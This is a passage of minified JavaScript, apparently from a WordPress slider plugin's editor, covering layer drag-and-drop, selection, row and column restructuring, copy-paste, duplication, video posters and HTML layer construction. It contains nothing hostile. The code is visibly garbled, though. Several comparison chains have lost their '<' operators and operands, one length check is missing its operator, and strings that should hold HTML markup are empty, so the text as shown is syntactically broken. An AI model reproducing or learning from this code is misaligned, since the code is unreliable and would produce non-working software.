a={top:i.y,left:i.x,right:i.x+Math.abs(RVS.S.DaD.dragdelta.x),bottom:i.y+Math.abs(RVS.S.DaD.dragdelta.y)},r=t.offset();for(var s in tpGS.gsap.set("#selectbydraw_box",{top:i.y,left:i.x,width:Math.abs(RVS.S.DaD.dragdelta.x),height:Math.abs(RVS.S.DaD.dragdelta.y)}),RVS.H)if(RVS.H.hasOwnProperty(s)){var o={top:RVS.H[s].w.offset().top-r.top,left:RVS.H[s].w.offset().left-r.left};o.right=o.left+RVS.H[s].w.width(),o.bottom=o.top+RVS.H[s].w.height(),RVS.L[s].visibility.locked||!RVS.L[s].visibility.visible?RVS.F.selectLayers({id:s,overwrite:!1,action:"remove",ignoreUpdate:"onlyhtml",ignoreFieldUpdates:!0,ignoreModeChange:!0}):!(o.left>a.left&&o.lefta.top&&o.topa.left&&o.righta.top&&o.topa.left&&o.lefta.top&&o.bottoma.left&&o.righta.top&&o.bottomo.left&&a.lefto.top&&a.topo.left&&a.righto.top&&a.topo.left&&a.lefto.top&&a.bottomo.left&&a.righto.top&&a.bottomo.bottom&&a.left>o.left&&a.righto.top&&a.bottomo.right)||a.left>o.left&&a.righto.top&&a.bottom=RVS.H[o].coor.left&&a.x<=RVS.H[o].coor.right&&a.y>=RVS.H[o].coor.top&&a.y<=RVS.H[o].coor.bottom){if(RVS.F.isParent(RVS.S.DaD.currentLayerId,o))continue;if(t=void 0!==RVS.S.DaD.lastGroupParent&&RVS.S.DaD.lastGroupParent===o?474:void 0!==RVS.S.DaD.target.groupID&&-1!==RVS.S.DaD.target.groupID?RVS.L[RVS.S.DaD.target.groupID].position.zIndex:-1!==RVS.S.DaD.target.puid&&void 0!==RVS.S.DaD.target.puid?RVS.L[RVS.S.DaD.target.puid].position.zIndex:RVS.L[o].position.zIndex,void 0!==RVS.S.DaD.target.zIndex&&RVS.S.DaD.target.zIndex>=t&&(-1==RVS.L[o].group.puid||null==RVS.L[o].group.puid))continue;if("group"===RVS.L[o].type&&RVS.L[o].visibility.visible){if(RVS.S.DaD.target.type=RVS.L[o].type,RVS.S.DaD.target.rowID="group",-1!==n&&-1==RVS.L[o].group.puid)continue;n=RVS.L[o].group.puid,RVS.S.DaD.target.groupID=RVS.L[o].group.puid,RVS.S.DaD.target.columnID=RVS.S.DaD.toContainerID=o,RVS.S.DaD.target.columnType=RVS.S.DaD.toContainerType="group",RVS.S.DaD.target.columnTop=!0,RVS.S.DaD.target.zIndex=t,s="group"}else"column"===RVS.L[o].type&&RVS.L[o].visibility.visible&&"group"!==s?(RVS.S.DaD.target.type=RVS.L[o].type,RVS.S.DaD.target.groupID=RVS.L[o].group.puid,RVS.S.DaD.target.rowID=RVS.L[o].group.puid,RVS.S.DaD.target.columnID=RVS.S.DaD.toContainerID=o,RVS.S.DaD.target.columnType=RVS.S.DaD.toContainerType="column",RVS.S.DaD.target.columnTop=a.y<=RVS.H[o].coor.middle,RVS.S.DaD.target.zIndex=t,s="column"):"group"!==s&&"row"!==RVS.L[o].type&&o!=RVS.S.DaD.currentLayerId&&("group"!==RVS.S.DaD.target.columnType||"column"!==RVS.S.DaD.target.columnType&&"absolute"!==RVS.S.DaD.draggedPosType||"relative"==RVS.L[RVS.S.DaD.currentLayerId].position.position&&"relative"==RVS.L[o].position.position)&&(RVS.S.DaD.target.type=RVS.L[o].type,RVS.S.DaD.target.elementID=o,RVS.S.DaD.target.puid=RVS.L[o].group.puid,RVS.S.DaD.target.elementMiddle=RVS.H[o].coor.middle,RVS.S.DaD.target.elementBefore=a.y<=RVS.H[o].coor.middle,RVS.S.DaD.target.zIndex=t)}}var l=RVS.S.DaD.lastGroupParent;if(delete RVS.S.DaD.lastGroupParent,"group"===RVS.S.DaD.target.rowID&&(RVS.S.DaD.lastGroupParent=RVS.S.DaD.target.columnID,RVS.F.setZindex({id:RVS.S.DaD.lastGroupParent,o:474})),void 0!==l&&RVS.S.DaD.lastGroupParent!==l&&RVS.F.setZindex({id:l}),void 0!==RVS.S.DaD.target&&("group"===RVS.S.DaD.target.rowID||"column"==RVS.S.DaD.target.type&&"absolute"==RVS.S.DaD.draggedPosType||"column"!==RVS.S.DaD.target.type&&null!=RVS.S.DaD.target.columnID&&void 0!==RVS.S.DaD.target.columnType&&"absolute"==RVS.S.DaD.draggedPosType)&&("column"==RVS.S.DaD.target.type&&"absolute"==RVS.S.DaD.draggedPosType&&(RVS.H[RVS.S.DaD.target.columnID].w_offset=RVS.H[RVS.S.DaD.target.columnID].w.offset()),RVS.S.DaD.dropParentPos.x=RVS.H[RVS.S.DaD.target.columnID].w_offset.left,RVS.S.DaD.dropParentPos.y=RVS.H[RVS.S.DaD.target.columnID].w_offset.top),"absolute"!==RVS.S.DaD.draggedPosType&&void 0!==RVS.S.DaD.targetBefore&&void 0===RVS.S.DaD.target.elementID&&void 0!==RVS.S.DaD.target.columnID&&RVS.S.DaD.target.columnID===RVS.S.DaD.targetBefore.columnID){var p=RVS.F.getLayerChildren({layerid:RVS.S.DaD.target.columnID}),u=[],R=0,V=1e4;for(var o in p)p.hasOwnProperty(o)&&("group"!=RVS.S.DaD.target.columnType&&"column"!=RVS.S.DaD.target.columnType||"relative"==RVS.L[RVS.S.DaD.currentLayerId].position.position&&"relative"===RVS.L[o].position.position)&&o!=RVS.S.DaD.currentLayerId&&(RVS.H[o].coor.bottom=a.y)&&(u.push(o),R=RMath.abs(RVS.H[o].coor.center-a.x)&&(V=Math.abs(RVS.H[o].coor.center-a.x),RVS.S.DaD.target.elementID=o,RVS.S.DaD.target.elementBefore=!1)}}else void 0!==RVS.S.DaD.target.elementID&&void 0!==RVS.S.DaD.target.columnID&&-1==RVS.S.DaD.target.puid&&(RVS.S.DaD.target.elementID=void 0);void 0!==RVS.S.DaD.target&&RVS.S.DaD.lastRegisteredRow===RVS.S.DaD.target.rowID?(RVS.S.DaD.target.into="column",RVS.S.DaD.toContainerID=RVS.S.DaD.target.columnID,RVS.S.DaD.toContainerType=RVS.S.DaD.target.columnType,clearTimeout(RVS.S.DaD.timerLeaveRow),RVS.S.DaD.timerLeaveRowStarted=!1,S()):(RVS.S.DaD.toContainerType="root",RVS.S.DaD.target.into="free",RVS.S.DaD.toContainerID=-1,S()),void 0!==RVS.S.DaD.target&&RVS.S.DaD.lastRegisteredRow!==RVS.S.DaD.target.rowID&&void 0!==RVS.S.DaD.target.rowID&&(RVS.S.DaD.timer=setTimeout(function(){RVS.S.DaD.lastRegisteredRow=RVS.S.DaD.target.rowID,void 0!==RVS.S.DaD.target&&RVS.S.DaD.lastRegisteredRow===RVS.S.DaD.target.rowID?(RVS.S.DaD.lastRegisteredRowBefore&&-1!==RVS.S.DaD.lastRegisteredRowBefore&&"group"!==RVS.S.DaD.lastRegisteredRowBefore&&(RVS.H[RVS.S.DaD.lastRegisteredRowBefore].w[0].className=RVS.H[RVS.S.DaD.lastRegisteredRowBefore].w[0].className.split("dont_blur").join("").split("drop_over_layer").join("")),clearTimeout(RVS.S.DaD.timerLeaveRow),RVS.S.DaD.timerLeaveRowStarted=!1,RVS.S.DaD.target.into="column",RVS.S.DaD.toContainerID=RVS.S.DaD.target.columnID,RVS.S.DaD.toContainerType=RVS.S.DaD.target.columnType,S(),RVS.F.updateDraggedWidth(!0)):(RVS.S.DaD.target.into="free",RVS.S.DaD.toContainerType="root",RVS.S.DaD.toContainerID=-1,S()),RVS.S.DaD.lastRegisteredRowBefore=RVS.S.DaD.lastRegisteredRow},250)),!0!==RVS.S.DaD.timerLeaveRowStarted&&-1!==RVS.S.DaD.lastRegisteredRow&&void 0!==RVS.S.DaD.target&&RVS.S.DaD.lastRegisteredRow!==RVS.S.DaD.target.rowID&&void 0===RVS.S.DaD.target.rowID&&(RVS.S.DaD.timerLeaveRowStarted=!0,RVS.S.DaD.timerLeaveRow=setTimeout(function(){-1!==RVS.S.DaD.lastRegisteredRow&&"group"!==RVS.S.DaD.lastRegisteredRow&&(RVS.H[RVS.S.DaD.lastRegisteredRow].w[0].className=RVS.H[RVS.S.DaD.lastRegisteredRow].w[0].className.split("dont_blur").join("").split("drop_over_layer").join("")),RVS.S.DaD.lastRegisteredRow=-1,RVS.S.DaD.target.into="free",RVS.S.DaD.toContainerType="root",RVS.S.DaD.toContainerID=-1,RVS.S.DaD.timerLeaveRowStarted=!1,S()},500))}})}),RVS.DOC.on("updateLayerPosition",function(){for(var e in RVS.selLayers)if(RVS.selLayers.hasOwnProperty(e)){var t=RVS.selLayers[e];RVS.F.updateHTMLLayerPosition({uid:t,updateValues:!1,lhCwidth:RVS.H[t].c.outerWidth(),lhCheight:RVS.H[t].c.outerHeight()})}}),RVS.DOC.on("intelligentInheritUpdate",function(e,t){for(var i in void 0!==t&&(!0===t.val?RVS.F.setToIntelligentUpdate():RVS.F.disableIntelligentUpdate()),RVS.selLayers)RVS.selLayers.hasOwnProperty(i)&&RVS.F.drawHTMLLayer({uid:RVS.selLayers[i]})}),RVS.DOC.on("inheritValuesFromDesktop",function(e,t){RVS.F.resetLayersDeviceSizesToDesktop()}),RVS.DOC.on("resetIntelligentInherits",function(e,t){RVS.F.resetIntelligentInherits()}),RVS.DOC.on("updateAllInheritedSize",function(e,t){RVS.F.updateAllInheritedSize()}),RVS.DOC.on("updateColumnStructure",function(){RVS.F.openBackupGroup({id:"RowStructure",txt:"Change Row(s) Structure",icon:"view_column"});var e=RVS.F.figureColumnSizes({plain:jQuery("#row_column_structure").val()});for(var t in RVS.selLayers)if(RVS.selLayers.hasOwnProperty(t)){var i="column"===RVS.L[RVS.selLayers[t]].type?RVS.L[RVS.selLayers[t]].group.puid:RVS.selLayers[t];if("row"===RVS.L[i].type){var a=RVS.F.getColumnsInRow({layerid:i});if(a.length>e.cols.length)for(var r=a[e.cols.length-1],s=a.length-1;s>=e.cols.length;s--)RVS.F.deleteLayerfromLayers({layerid:a[s],newpuid:r});else if(a.length0)for(var o in i)i.hasOwnProperty(o)&&void 0!==RVS.L[i[o]]&&(0===RVS.F.getColumnsInRow({layerid:i[o]}).length?RVS.F.deleteLayerfromLayers({layerid:i[o]}):RVS.F.fixColumnsInRows({layerid:i[o]}));RVS.F.closeBackupGroup({id:"removeLayer"}),RVS.F.buildLayerLists({force:!0})}),RVS.DOC.on("updateColumnBreak",function(e,t){RVS.F.openBackupGroup({id:"ColumnBreak",txt:"Row Breakpoint",icon:"layers",lastkey:"layer"});var i=[];for(var a in RVS.selLayers)if(RVS.selLayers.hasOwnProperty(a)&&("row"===RVS.L[RVS.selLayers[a]].type||"column"===RVS.L[RVS.selLayers[a]].type)){var r="column"===RVS.L[RVS.selLayers[a]].type?RVS.L[RVS.selLayers[a]].group.puid:RVS.selLayers[a],s=RVS.S.slideId+".layers."+r+".";RVS.F.updateSliderObj({path:s+"group.columnbreakat",val:t.val}),i.push(r)}for(var o in RVS.F.closeBackupGroup({id:"ColumnBreak"}),i)if(i.hasOwnProperty(o)){var n=RVS.F.getColumnsInRow({layerid:i[o]});for(var l in n)n.hasOwnProperty(l)&&(RVS.L[n[l]].group.columnbreakat=t.val,RVS.F.drawHTMLLayer({uid:n[l]}));RVS.F.drawHTMLLayer({uid:i[o]})}}),RVS.DOC.on("squareselection",function(){p({id:"#select_by_draw",remove:"#select_by_cursor, #select_by_cursor_add",add:!1,multi:!0})}),RVS.DOC.on("cursorselection",function(){p({id:"#select_by_cursor",remove:"#select_by_draw, #select_by_cursor_add",add:!1,multi:!1})}),RVS.DOC.on("cursorselectionadd",function(){p({id:"#select_by_cursor_add",remove:"#select_by_draw, #select_by_cursor",add:!0,multi:!1})}),RVS.DOC.on("lockLayer",function(e,t){RVS.F.lockUnlockLayers(t)}),RVS.DOC.on("showHideLayer",function(e,t){RVS.F.showHideLayers(t)}),RVS.DOC.on("frameAnimToCustom",function(e,t){}),RVS.DOC.on("click",".getLayerImageFromVimeo",function(){jQuery.ajax({type:"GET",url:"//vimeo.com/api/v2/video/"+jQuery("#layer_youtubevimeo_id").val()+".json",success:function(e){jQuery("#layer_video_poster").val(e[0].thumbnail_large).trigger("change")}})}),RVS.DOC.on("click",".getLayerImageFromYouTube",function(){var e=jQuery("#layer_youtubevimeo_id").val();jQuery("#layer_video_poster").val(location.protocol+"//img.youtube.com/vi/"+e+"/maxresdefault.jpg").trigger("change")}),RVS.DOC.on("click",".removeLayerPoster",function(){RVS.F.openBackupGroup({id:"VideoPosterChange",txt:"Change Video Poster",icon:"layers",lastkey:"layer"}),jQuery("#layer_video_poster").val(RVS.ENV.img_ph_url).trigger("change"),RVS.F.closeBackupGroup({id:"VideoPosterChange"})}),RVS.DOC.on("click",".resetVideoArguments",function(){var e=jQuery('input[name="layer_video_type"]:checked').val(),t="vimeo"===e?RVS.ENV.vimeoargs:"youtube"===e?RVS.ENV.youtubeargs:"";jQuery("#layer_video_arg").val(t).trigger("change")}),RVS.DOC.on("checkVideoID",function(e,t){if(void 0!==t&&void 0!==t.val){for(var i in RVS.F.openBackupGroup({id:"VideoTypeChange",txt:"Change Video Type",icon:"layers",lastkey:"layer"}),RVS.selLayers)RVS.selLayers.hasOwnProperty(i)&&(_.uid=RVS.selLayers[i],_.l=RVS.L[_.uid],_.pre=RVS.S.slideId+".layers."+_.uid+".","vimeo"===t.val?(RVS.F.updateSliderObj({path:_.pre+"media.args",val:RVS.ENV.vimeoargs}),jQuery("#layer_video_arg").val(RVS.ENV.vimeoargs)):"youtube"===t.val&&(RVS.F.updateSliderObj({path:_.pre+"media.args",val:RVS.ENV.youtubeargs}),jQuery("#layer_video_arg").val(RVS.ENV.youtubeargs)),RVS.F.updateSliderObj({path:_.pre+"media.mediaType",val:t.val}));RVS.F.closeBackupGroup({id:"VideoTypeChange"})}var a=jQuery('input[name="layer_video_type"]:checked').val(),r=jQuery("#layer_youtubevimeo_id").val();"vimeo"===a&&RVS.F.checkVimeoID({id:r}),"youtube"===a&&RVS.F.checkYouTubeID({id:r})}),RVS.F.notChildrenOfList=function(e,t,i,a){return null==i[e]||""+e=="-1"||-1==jQuery.inArray(""+e,t)&&(""+i[e].group.puid!="-1"?-1==jQuery.inArray(""+i[e].group.puid,t):!!a)},RVS.DOC.on("do_duplicate_layer",function(){var e=[],t=[],i=[],a=[];for(var r in RVS.selLayers)if(RVS.selLayers.hasOwnProperty(r)){var s=RVS.selLayers[r];e.push({type:RVS.L[s].type,duplicateId:s,ignoreBackupGroup:!0,ignoreLayerList:!0,ignoreOrderHTMLLayers:!0}),t.push(""+s),"column"===RVS.L[s].type&&-1===jQuery.inArray(RVS.L[s].group.puid,a)&&a.push(RVS.L[s].group.puid)}for(var o in RVS.F.openBackupGroup({id:"addLayer",txt:"Duplicate Layers",icon:"layers",lastkey:"layer"}),e)e.hasOwnProperty(o)&&RVS.F.notChildrenOfList(RVS.L[t[o]].group.puid,t,RVS.L,!0)&&i.push(RVS.F.addLayer(e[o],!0));if(a.length>0)for(var o in a)a.hasOwnProperty(o)&&void 0!==RVS.L[a[o]]&&RVS.F.fixColumnsInRows({layerid:a[o]});for(var o in RVS.F.buildLayerLists({force:!0,ignoreRebuildHTML:!0}),RVS.F.reOrderHTMLLayers(),i)i.hasOwnProperty(o)&&(RVS.F.updateDuplicatedLayerActionDependencies(i[o],t[o]),RVS.F.selectLayers({id:i[o],overwrite:!1,action:"add",ignoreUpdate:!0,ignoreFieldUpdates:!0}));RVS.F.selectedLayersVisualUpdate(),RVS.F.updateSelectedHtmlLayers(),RVS.F.updateZIndexTable(),RVS.F.closeBackupGroup({id:"addLayer"}),RVS.DOC.trigger("selectLayersDone")}),RVS.DOC.on("do_copy_layer",function(){window.copyPasteLayers={amount:0,layers:{}};var e=[],t=[];for(var i in RVS.selLayers)if(RVS.selLayers.hasOwnProperty(i)){var a=RVS.selLayers[i];e.push({type:RVS.L[a].type,duplicateId:a,ignoreBackupGroup:!0,ignoreLayerList:!0,ignoreOrderHTMLLayers:!0,copyPaste:"copy",deep:RVS.F.isDeeperGroup(a)}),t.push(a)}for(var r in e)e.hasOwnProperty(r)&&RVS.F.addLayer(e[r],!0);jQuery("#do_paste_layer").removeClass("disabled")}),RVS.DOC.on("do_paste_layer",function(){var e,t,i,a=[],r=[],s=[],o=[],n=RVS.F.getFirstSelectedType("group"),l=RVS.F.getFirstSelectedType("column"),d=0==n?0==l?RVS.F.getFirstSelectedType("row"):l:n,S=[];for(var c in window.backupCopyPaste={...window.copyPasteLayers.layers},d=null==(d=0==d?"-1":void 0!==RVS.L[d]&&"row"==RVS.L[d].type?RVS.F.getColumnsInRow({layerid:d,type:"column"})[0]:d)||0==d||null==RVS.L[d]?"-1":d,RVS.S.pastedLayerNewToOld={},RVS.S.pastedLayerOldToNew={},window.copyPasteLayers.layers)if(window.copyPasteLayers.layers.hasOwnProperty(c)){var p=window.copyPasteLayers.layers[c].uid,u=window.copyPasteLayers.layers[c].group.puid,R=RVS.F.isDeeperGroup(window.copyPasteLayers.layers[c]);if(r.push(""+p),"-1"!=d||""+u!="-1"&&void 0===window.copyPasteLayers.layers[u]){switch(window.copyPasteLayers.layers[c].type){case"group":R||"-1"==d?u="-1":"column"==RVS.L[d].type?u=d:"group"==RVS.L[d].type&&""+RVS.L[d].group.puid=="-1"&&window.copyPasteLayers.layers[c].copiedFromUid==d&&"-1"!==d&&RVS.L[d].group.puid;break;case"column":void 0!==window.copyPasteLayers.layers[u]&&"row"===window.copyPasteLayers.layers[u].type||-1!==(u=!1!==d&&"-1"!==d&&"row"==RVS.L[d].type?d:RVS.F.addLayerToLayers({type:"row",alias:"row",buildHTMLLayer:!1,copyPaste:"copy"}))&&-1===jQuery.inArray(u,S)&&S.push(u);break;case"row":u="-1";break;default:u=u>=0&&u<=5e3&&void 0===window.copyPasteLayers.layers[u]?d:""+u=="-1"&&"-1"!==d?d:u}if(void 0!==RVS.L[u]&&"column"==RVS.L[u].type&&("-1"==window.copyPasteLayers.layers[c].group.puid||null==window.copyPasteLayers.layers[window.copyPasteLayers.layers[c].group.puid]||"column"!==window.copyPasteLayers.layers[window.copyPasteLayers.layers[c].group.puid].type))for(var V in RVS.V.sizes)if(RVS.V.sizes.hasOwnProperty(V)){var m=RVS.V.sizes[V];window.copyPasteLayers.layers[c].position.position="relative",window.copyPasteLayers.layers[c].position.horizontal[m].v="center",window.copyPasteLayers.layers[c].position.vertical[m].v="middle",window.copyPasteLayers.layers[c].position.x[m].v=0,window.copyPasteLayers.layers[c].position.y[m].v=0}window.copyPasteLayers.layers[c].group.puid=u}}for(var c in window.copyPasteLayers.layers)if(window.copyPasteLayers.layers.hasOwnProperty(c)&&RVS.F.notChildrenOfList(""+window.copyPasteLayers.layers[c].group.puid,r,window.backupCopyPaste)){var p=window.copyPasteLayers.layers[c].uid;a.push({type:window.copyPasteLayers.layers[c].type,duplicateId:p,ignoreBackupGroup:!0,ignoreLayerList:!0,ignoreOrderHTMLLayers:!0,copyPaste:"paste"}),s.push(""+p)}for(var y in RVS.F.openBackupGroup({id:"addLayer",txt:"Copy Paste Layers",icon:"layers",lastkey:"layer"}),a)a.hasOwnProperty(y)&&(o.push(e=RVS.F.addLayer(a[y])),"row"==RVS.L[e].type?S.push(e):"column"===RVS.L[e].type&&-1===jQuery.inArray(RVS.L[p].group.puid,S)&&S.push(RVS.L[p].group.puid));for(e in RVS.S.pastedLayerNewToOld)if(RVS.S.pastedLayerNewToOld.hasOwnProperty(e)&&null!=RVS.L[e]&&null!=RVS.L[e].actions){for(t in RVS.L[e].actions.action)RVS.L[e].actions.action.hasOwnProperty(t)&&null!=RVS.L[e].actions.action[t].layer_target&&(i=RVS.L[e].actions.action[t].layer_target,void 0!==RVS.S.pastedLayerOldToNew[i]&&(RVS.L[e].actions.action[t].layer_target=RVS.S.pastedLayerOldToNew[i]));i=RVS.L[e].labelfor,void 0!==RVS.S.pastedLayerOldToNew[i]&&(RVS.L[e].labelfor=RVS.S.pastedLayerOldToNew[i]),void 0!==RVS.F.updateReferencedLayerIDs&&void 0!==RVS.F.updateReferencedLayerIDs[RVS.L[e].subtype]&&RVS.F.updateReferencedLayerIDs[RVS.L[e].subtype](e)}if(S.length>0)for(var y in S)S.hasOwnProperty(y)&&void 0!==RVS.L[S[y]]&&RVS.F.fixColumnsInRows({layerid:S[y]});for(y in RVS.F.closeBackupGroup({id:"addLayer"}),RVS.F.buildLayerLists({force:!0,ignoreRebuildHTML:!0}),RVS.F.reOrderHTMLLayers(),o)o.hasOwnProperty(y)&&(RVS.F.updateDuplicatedLayerActionDependencies(o[y],window.copyPasteLayers.layers[s[y]].copiedFromUid),RVS.F.selectLayers({id:o[y],overwrite:!1,action:"add",ignoreUpdate:!0}));RVS.F.selectedLayersVisualUpdate(),RVS.F.updateSelectedHtmlLayers(),RVS.DOC.trigger("selectLayersDone"),window.copyPasteLayers.layers={...window.backupCopyPaste}}),RVS.DOC.on("insertContentFromOL",function(e,t){if("fonticons"==t.libraryType){var i="MaterialIcons"===t.tags[0]?"material-icons":t.handle.replace(".",""),a="MaterialIcons"===t.tags[0]?t.handle.replace(".",""):"";for(var r in RVS.F.openBackupGroup({id:"PreStyleLAyer",txt:"Prestyle Object Layer",icon:"layers",lastkey:"layer"}),RVS.selLayers)RVS.selLayers.hasOwnProperty(r)&&(RVS.F.updateLayerObj({path:"text",val:''+a+"",ignoreRedraw:!0}),RVS.F.updateLayerObj({path:"type",val:"text",ignoreRedraw:!0}),RVS.F.updateLayerObj({path:"idle.fontSize."+RVS.screen+".v",val:"50px",ignoreRedraw:!0}),RVS.F.updateLayerObj({path:"idle.lineHeight."+RVS.screen+".v",val:"50px",ignoreRedraw:!0}),RVS.H[RVS.selLayers[r]].c[0].innerHTML=''+a+"",RVS.F.drawHTMLLayer({uid:RVS.selLayers[r]}));RVS.F.closeBackupGroup({id:"PreStyleLAyer"})}else if("svgs"===t.libraryType||"svgcustom"===t.libraryType){RVS.F.openBackupGroup({id:"PreStyleLAyer",txt:"Prestyle Object Layer",icon:"layers",lastkey:"layer"});var s=[];for(var r in RVS.selLayers)RVS.selLayers.hasOwnProperty(r)&&(s.push(RVS.selLayers[r]),"svgcustom"===t.libraryType?RVS.F.updateLayerObj({path:"idle.svg.originalColor",val:!0,ignoreRedraw:!0}):RVS.F.updateLayerObj({path:"idle.svg.originalColor",val:!1,ignoreRedraw:!0}),RVS.F.updateLayerObj({path:"svg.source",val:t.img,ignoreRedraw:!0}),RVS.F.updateLayerObj({path:"type",val:"svg",ignoreRedraw:!0}),RVS.F.updateLayerObj({path:"size.width."+RVS.screen+".v",val:"100px",ignoreRedraw:!0}),RVS.F.updateLayerObj({path:"size.height."+RVS.screen+".v",val:"100px",ignoreRedraw:!0}));RVS.F.updateLayerSVGSrc({uids:s,src:t.img}),RVS.F.closeBackupGroup({id:"PreStyleLAyer"})}RVS.F.selectedLayersVisualUpdate(),RVS.F.updateSelectedHtmlLayers(),RVS.F.updateLayerInputFields()}),r()},RVS.F.allSelectedHasHover=function(){var e=!0;for(var t in RVS.selLayers)RVS.selLayers.hasOwnProperty(t)&&(e=(!0===RVS.L[RVS.selLayers[t]].hover.usehover||"true"===RVS.L[RVS.selLayers[t]].hover.usehover||"desktop"===RVS.L[RVS.selLayers[t]].hover.usehover)&&e);return e},RVS.F.buildHTMLLayer=function(e){var t=RVS.L[e.uid],i=void 0!==RVS.H&&void 0!==RVS.H[e.uid]&&void 0!==RVS.H[e.uid].w?RVS.H[e.uid].w[0]:document.getElementById("_lc_"+RVS.S.slideId+"_"+e.uid+"_");if(RVS.H=null==RVS.H?{}:RVS.H,1==e.force||null==RVS.H||void 0===RVS.H[e.uid]||null===i){if(1==e.force||null==RVS.H||void 0===RVS.H[e.uid]){null!==i&&i.parentNode.removeChild(i);var s=RVS.F.cE({id:"_lc_"+RVS.S.slideId+"_"+e.uid+"_",cN:"_lc_ _lc_type_"+t.type,ds:{type:t.type,uid:e.uid,pid:t.group.puid,multiplemark:!0}}),o=RVS.F.cE({cN:"_lc_locked_bg_"}),n=RVS.F.cE({cN:"_lc_locked_"}),l=RVS.F.cI({c:"lock_outline"}),d=RVS.F.cE({t:"span",cN:"_tb_ _borders_"}),S=RVS.F.cE({t:"span",cN:"_bb_ _borders_"}),c=RVS.F.cE({t:"span",cN:"_rb_ _borders_"}),p=RVS.F.cE({t:"span",cN:"_lb_ _borders_"}),u=RVS.F.cE({cN:"_lc_loop_"}),R=RVS.F.cE({cN:"_lc_mask_"}),V=RVS.F.cE({cN:"_lc_iw_"}),m=RVS.F.cE({t:"div",cN:"_lc_content_"});if("column"===t.type||"row"===t.type)var y=RVS.F.cE({t:"span",cN:"_c_margins _topm_"}),g=RVS.F.cE({t:"span",cN:"_c_margins _botm_"}),f=RVS.F.cE({t:"span",cN:"_c_margins _lefm_"}),h=RVS.F.cE({t:"span",cN:"_c_margins _rigm_"}),v=RVS.F.cE({t:"span",cN:"_c_paddings _topp_"}),_=RVS.F.cE({t:"span",cN:"_c_paddings _botp_"}),L=RVS.F.cE({t:"span",cN:"_c_paddings _lefp_"}),w=RVS.F.cE({t:"span",cN:"_c_paddings _rigp_"});if(n.appendChild(l),u.appendChild(R),R.appendChild(V),V.appendChild(m),s.appendChild(o),s.appendChild(n),s.appendChild(d),s.appendChild(S),s.appendChild(c),s.appendChild(p),s.appendChild(u),"column"!==t.type&&"row"!==t.type||(s.appendChild(y),s.appendChild(g),s.appendChild(f),s.appendChild(h),s.appendChild(L),s.appendChild(w),s.appendChild(_),s.appendChild(v)),-1===t.group.puid||"row"===t.type?"row"==t.type&&RVS.C.rZone[t.group.puid]?a({container:RVS.C.rZone[t.group.puid],layer:s,uid:e.uid,type:"._lc_type_row"}):RVS.C.layergrid[0].appendChild(s):"column"===t.type?a({container:RVS.H[t.group.puid].c,layer:s,uid:e.uid,type:"._lc_type_column"}):void 0!==RVS.H[t.group.puid]?a({container:RVS.H[t.group.puid].c,layer:s,uid:e.uid,type:"._lc_"}):t.group.puid=-1,void 0!==t.idle.style&&t.idle.style.length>0&&(s.className+=" "+t.idle.style),RVS.H[e.uid]={w:jQuery(s),last_puid:t.group.puid,last_groupOrder:t.group.groupOrder},RVS.H[e.uid].m=R,RVS.H[e.uid].lp=u,RVS.H[e.uid].iw=V,RVS.H[e.uid].c=jQuery(m),void 0!==RVS.F.buildHTMLLayerSub&&void 0!==RVS.F.buildHTMLLayerSub[t.subtype]&&(RVS.H[e.uid].subc=RVS.F.buildHTMLLayerSub[t.subtype](t.subsubtype),void 0!==RVS.H[e.uid].subc))for(var b in RVS.H[e.uid].subc.attach)m.appendChild(RVS.H[e.uid].subc[RVS.H[e.uid].subc.attach[b]]);"column"!==t.type&&"row"!==t.type||(RVS.H[e.uid].margins={top:y,bottom:g,left:f,right:h},RVS.H[e.uid].paddings={top:v,bottom:_,left:L,right:w}),RVS.H[e.uid].borders={top:d,bottom:S,left:p,right:c}}var I,F;switch(t.type){case"svg":RVS.H[e.uid].c[0].innerHTML=t.svg.renderedData,RVS.H[e.uid].svg=RVS.H[e.uid].w.find("svg"),RVS.H[e.uid].svgPath=RVS.H[e.uid].w.find(t.idle.svg.styleAll?"svg path, svg circle, svg ellipse, svg line, svg polygon, svg polyline, svg rect":"svg path");break;case"image":null===RVS.H[e.uid].w[0].querySelector("._lc_img_placeholder")&&RVS.H[e.uid].c[0].appendChild(RVS.F.cE({cN:"_lc_img_placeholder",icon:{c:"filter_hdr"}})),null===RVS.H[e.uid].w[0].querySelector("._lc_image_inside_")&&((I=RVS.F.cE({t:"img",cN:"_lc_image_inside_",ds:{ow:t.size.originalWidth,oh:t.size.originalHeight}})).src=t.media.imageUrl,RVS.H[e.uid].c[0].appendChild(I)),t.media.imageUrl===RVS.ENV.img_ph_url&&RVS.H[e.uid].c[0].classList.add("placeholder_on");break;case"video":null===RVS.H[e.uid].w[0].querySelector("._lc_img_placeholder")&&RVS.H[e.uid].c[0].appendChild(RVS.F.cE({cN:"_lc_img_placeholder",icon:{c:"videocam"}})),null===RVS.H[e.uid].w[0].querySelector("._lc_video_title_")?((F=RVS.F.cE({cN:"_lc_video_title_"})).textContent=t.media.mediaType,RVS.H[e.uid].c[0].appendChild(F),RVS.H[e.uid].vtitle=F):void 0===RVS.H[e.uid].vtitle&&(RVS.H[e.uid].vtitle=RVS.H[e.uid].w[0].querySelector("._lc_video_title_")),null===RVS.H[e.uid].w[0].querySelector("._lc_video_placeholder_")&&RVS.H[e.uid].c[0].appendChild(RVS.F.cE({cN:"_lc_video_placeholder_"})),null===RVS.H[e.uid].w[0].querySelector("._lc_video_overlay")?(RVS.H[e.uid].volay=RVS.F.cE({cN:"_lc_video_overlay"}),RVS.H[e.uid].c[0].appendChild(RVS.H[e.uid].volay)):void 0===RVS.H[e.uid].volay&&(RVS.H[e.uid].volay=RVS.H[e.uid].w[0].querySelector("._lc_video_overlay")),t.media.posterUrl===RVS.ENV.img_ph_url&&RVS.H[e.uid].c[0].classList.add("placeholder_on");break;case"audio":null===RVS.H[e.uid].w[0].querySelector("._lc_img_placeholder")&&RVS.H[e.uid].c[0].append(RVS.F.cE({cN:"_lc_img_placeholder",icon:{c:"audiotrack"}})),null===RVS.H[e.uid].w[0].querySelector("audio")&&RVS.H[e.uid].c.append(""),!1===t.media.controls?RVS.H[e.uid].c[0].classList.add("placeholder_on"):RVS.H[e.uid].c[0].classList.remove("audio_controls_on");break;case"group":void 0===RVS.H[e.uid].bg&&(null===RVS.H[e.uid].w[0].querySelector(":scope > ._lc_extra_bg")?(RVS.H[e.uid].bg=RVS.F.cE({cN:"_lc_extra_bg"}),RVS.H[e.uid].w[0].appendChild(RVS.H[e.uid].bg)):RVS.H[e.uid].bg=RVS.H[e.uid].w[0].querySelector(":scope > 